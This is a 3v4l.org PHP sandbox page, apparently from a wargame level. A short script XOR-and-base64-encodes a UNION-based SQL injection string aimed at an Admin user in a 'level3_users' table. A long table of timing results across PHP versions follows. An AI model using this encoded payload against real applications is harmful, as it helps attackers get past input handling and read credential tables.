3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("-1' union select 1,2,3,4,5 from level3_users where user='Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.61
8.3.50.0150.00721.99
8.3.40.0170.00318.84
8.3.30.0030.01019.04
8.3.20.0070.00020.16
8.3.10.0000.00822.11
8.3.00.0040.00422.14
8.2.180.0150.00316.88
8.2.170.0110.00422.96
8.2.160.0140.00020.38
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0030.00526.16
8.2.120.0080.00019.48
8.2.110.0030.00622.07
8.2.100.0060.00619.64
8.2.90.0040.00419.17
8.2.80.0050.00318.05
8.2.70.0000.00817.75
8.2.60.0040.00418.04
8.2.50.0060.00318.07
8.2.40.0000.00818.22
8.2.30.0000.00718.21
8.2.20.0000.00717.75
8.2.10.0000.00819.54
8.2.00.0000.00717.69
8.1.280.0040.01425.92
8.1.270.0090.00022.05
8.1.260.0000.00726.35
8.1.250.0080.00028.09
8.1.240.0040.00423.80
8.1.230.0080.00419.01
8.1.220.0000.00717.74
8.1.210.0080.00018.77
8.1.200.0060.00317.35
8.1.190.0030.00517.41
8.1.180.0060.00318.10
8.1.170.0050.00518.59
8.1.160.0080.00322.02
8.1.150.0040.00418.54
8.1.140.0040.00417.42
8.1.130.0030.00317.84
8.1.120.0000.00717.39
8.1.110.0070.00017.45
8.1.100.0070.00017.39
8.1.90.0040.00417.48
8.1.80.0000.00817.32
8.1.70.0030.00317.44
8.1.60.0000.01117.66
8.1.50.0040.00417.54
8.1.40.0030.00517.55
8.1.30.0000.00717.66
8.1.20.0000.00917.57
8.1.10.0040.00417.56
8.1.00.0040.00417.52
8.0.300.0040.00418.77
8.0.290.0030.00317.16
8.0.280.0000.00718.48
8.0.270.0000.00717.29
8.0.260.0000.00616.89
8.0.250.0020.00517.03
8.0.240.0030.00617.00
8.0.230.0030.00316.87
8.0.220.0040.00416.81
8.0.210.0000.00816.91
8.0.200.0030.00516.81
8.0.190.0000.00716.89
8.0.180.0050.00216.98
8.0.170.0040.00416.83
8.0.160.0030.00616.99
8.0.150.0030.00316.80
8.0.140.0000.00716.79
8.0.130.0050.00013.31
8.0.120.0000.00716.84
8.0.110.0000.00716.98
8.0.100.0000.00716.75
8.0.90.0040.00417.04
8.0.80.0090.01216.92
8.0.70.0080.00017.04
8.0.60.0000.00816.77
8.0.50.0000.00716.92
8.0.30.0100.01017.18
8.0.20.0130.00717.40
8.0.10.0070.00017.03
8.0.00.0080.01016.63
7.4.330.0030.00315.03
7.4.320.0000.00616.58
7.4.300.0030.00316.63
7.4.290.0030.00316.43
7.4.280.0030.00516.62
7.4.270.0070.00016.64
7.4.260.0030.00316.54
7.4.250.0040.00416.57
7.4.240.0000.00716.49
7.4.230.0000.00716.73
7.4.220.0080.00816.64
7.4.210.0120.00216.53
7.4.200.0070.00016.56
7.4.190.0040.00416.77
7.4.160.0090.00616.54
7.4.150.0120.00617.40
7.4.140.0120.00917.86
7.4.130.0080.01216.57
7.4.120.0110.00616.55
7.4.110.0100.01016.41
7.4.100.0140.00816.43
7.4.90.0110.00616.46
7.4.80.0190.00319.39
7.4.70.0050.01416.58
7.4.60.0110.00616.41
7.4.50.0040.00416.55
7.4.40.0030.01222.77
7.4.30.0050.01116.75
7.4.00.0040.01215.17
7.3.330.0030.00313.26
7.3.320.0030.00313.42
7.3.310.0070.00016.42
7.3.300.0030.00316.42
7.3.290.0040.01116.39
7.3.280.0080.00916.38
7.3.270.0030.02117.40
7.3.260.0080.01116.87
7.3.250.0110.00616.66
7.3.240.0060.01016.54
7.3.230.0100.00716.52
7.3.210.0040.01216.43
7.3.200.0060.00919.39
7.3.190.0060.01516.51
7.3.180.0060.00916.66
7.3.170.0120.00916.29
7.3.160.0140.00316.36
7.3.120.0000.01515.09
7.3.110.0100.00614.99
7.3.100.0100.00315.03
7.3.90.0040.00714.86
7.3.80.0040.00715.15
7.3.70.0060.00614.65
7.3.60.0090.00614.87
7.3.50.0080.00314.57
7.3.40.0040.00714.98
7.3.30.0030.01215.01
7.3.20.0060.00916.69
7.3.10.0110.00016.57
7.3.00.0060.00916.49
7.2.330.0100.00716.80
7.2.320.0090.00916.68
7.2.310.0090.01216.60
7.2.300.0130.00816.75
7.2.290.0130.00316.82
7.2.240.0000.01415.40
7.2.230.0020.01414.98
7.2.220.0100.00315.08
7.2.210.0100.00315.05
7.2.200.0040.01415.06
7.2.190.0000.01214.97
7.2.180.0070.00715.21
7.2.170.0070.00715.16
7.2.160.0130.00314.90
7.2.150.0090.00617.06
7.2.140.0070.00717.11
7.2.130.0090.00616.77
7.2.120.0000.01416.74
7.2.110.0070.01017.01
7.2.100.0040.01117.01
7.2.90.0090.00616.78
7.2.80.0070.01016.99
7.2.70.0070.01017.03
7.2.60.0070.00716.71
7.2.50.0070.00716.80
7.2.40.0070.01017.04
7.2.30.0000.01216.84
7.2.20.0060.00917.07
7.2.10.0070.01016.82
7.2.00.0060.00918.21
7.1.330.0040.01115.79
7.1.320.0070.00715.84
7.1.310.0030.01415.96
7.1.300.0000.01315.88
7.1.290.0030.01315.66
7.1.280.0030.00715.48
7.1.270.0050.00515.63
7.1.260.0030.01215.87
7.1.250.0100.00715.61
7.1.200.0080.00415.86
7.1.100.0070.01018.19
7.1.70.0000.00816.83
7.1.60.0000.02519.82
7.1.50.0040.01516.63
7.1.00.0070.07022.46
7.0.200.0070.00316.88
7.0.140.0030.07022.15
7.0.60.0100.08320.05
7.0.50.0000.04317.89
7.0.40.0070.09020.24
7.0.30.0300.07020.23
7.0.20.0300.07320.10
7.0.10.0230.05020.27
7.0.00.0000.04720.25
5.6.280.0000.07721.11
5.6.210.0070.07320.77
5.6.200.0200.07318.16
5.6.190.0030.08020.63
5.6.180.0200.05720.65
5.6.170.0330.08020.71
5.6.160.0100.04020.50
5.6.150.0170.08018.22
5.6.140.0130.08018.16
5.6.130.0070.03718.14
5.6.120.0000.04721.08
5.6.110.0100.08021.10
5.6.100.0070.07321.04
5.6.90.0070.03721.01
5.6.80.0070.07720.41
5.6.70.0300.06720.38
5.5.350.0170.04320.43
5.5.340.0100.07018.04
5.5.330.0030.04020.20
5.5.320.0230.04320.38
5.5.310.0270.07320.36
5.5.300.0070.08017.97
5.5.290.0170.07018.08
5.5.280.0070.05320.74
5.5.270.0070.04020.87
5.5.260.0170.06020.89
5.5.250.0030.08320.43
5.5.240.0070.04020.16
5.4.450.0170.06319.61
5.4.440.0300.04719.48
5.4.430.0500.05319.31
5.4.420.0830.05019.42
5.4.410.0070.06719.09
5.4.400.1070.00018.54
5.4.390.1100.00018.75
5.4.380.0270.05318.77
5.4.370.0200.05018.47
5.4.360.0200.04718.76
5.4.350.0230.05018.80
5.4.340.0230.04718.57
5.4.320.0050.04212.51
5.4.310.0080.04112.51
5.4.300.0070.04612.51
5.4.290.0080.03812.50
5.4.280.0060.03412.40
5.4.270.0070.05318.80
5.4.260.0000.07018.66
5.4.250.0200.06318.96
5.4.240.0100.05319.09
5.4.230.0100.05318.84
5.4.220.0170.05319.10
5.4.210.0170.05718.77
5.4.200.0070.05318.77
5.4.190.0270.06019.00
5.4.180.0030.05718.75
5.4.170.0000.05718.98
5.4.160.0200.06018.79
5.4.150.0170.04718.82
5.4.140.0170.06316.68
5.4.130.0130.06016.44
5.4.120.0170.05716.62
5.4.110.0070.05316.41
5.4.100.0070.07316.57
5.4.90.0100.06016.62
5.4.80.0170.04016.59
5.4.70.0170.04016.45
5.4.60.0100.06316.48
5.4.50.0070.05016.49
5.4.40.0170.05016.42
5.4.30.0100.06016.49
5.4.20.0170.05016.48
5.4.10.0070.05316.46
5.4.00.0030.06016.03
5.3.290.0050.04512.80
5.3.280.0170.05014.77
5.3.270.0100.07014.70
5.3.260.0130.07014.61
5.3.250.0100.05014.75
5.3.240.0100.06314.83
5.3.230.0100.06014.62
5.3.220.0070.07314.80
5.3.210.0070.05314.54
5.3.200.0070.06014.59
5.3.190.0100.04714.47
5.3.180.0130.07014.60
5.3.170.0100.04714.75
5.3.160.0070.05314.73
5.3.150.0100.07014.59
5.3.140.0170.04314.46
5.3.130.0030.05714.68
5.3.120.0130.06014.57
5.3.110.0130.04714.55
5.3.100.0130.06714.04
5.3.90.0070.05714.01
5.3.80.0000.05714.00
5.3.70.0130.06714.12
5.3.60.0030.06314.18
5.3.50.0200.05313.79
5.3.40.0070.05014.02
5.3.30.0170.04014.09
5.3.20.0070.05713.80
5.3.10.0100.06313.64
5.3.00.0200.06013.71
5.2.170.0100.04311.14
5.2.160.0030.06311.33
5.2.150.0100.05711.32
5.2.140.0130.03711.31
5.2.130.0100.05311.17
5.2.120.0170.04011.33
5.2.110.0100.04011.27
5.2.100.0130.04311.27
5.2.90.0100.05311.17
5.2.80.0070.04311.18
5.2.70.0030.04311.18
5.2.60.0100.06011.07
5.2.50.0030.04010.94
5.2.40.0030.04711.00
5.2.30.0030.04310.88
5.2.20.0030.04010.95
5.2.10.0000.05011.04
5.2.00.0070.04010.68
5.1.60.0100.04710.07
5.1.50.0130.0409.84
5.1.40.0030.0379.90
5.1.30.0100.05010.51
5.1.20.0200.03010.26
5.1.10.0030.04010.07
5.1.00.0100.03010.07
5.0.50.0070.0378.61
5.0.40.0030.0308.43
5.0.30.0070.0438.38
5.0.20.0030.0408.25
5.0.10.0070.0278.20
5.0.00.0030.0538.27
4.4.90.0030.0206.55
4.4.80.0000.0236.55
4.4.70.0030.0276.55
4.4.60.0030.0206.55
4.4.50.0030.0276.55
4.4.40.0070.0406.55
4.4.30.0000.0236.55
4.4.20.0030.0306.48
4.4.10.0000.0376.48
4.4.00.0100.0406.48
4.3.110.0070.0236.48
4.3.100.0070.0206.48
4.3.90.0000.0336.48
4.3.80.0000.0336.48
4.3.70.0030.0206.48
4.3.60.0030.0276.48
4.3.50.0030.0206.48
4.3.40.0030.0376.48
4.3.30.0030.0236.48
4.3.20.0000.0336.48
4.3.10.0070.0236.48
4.3.00.0030.0237.33

preferences:
51.29 ms | 401 KiB | 5 Q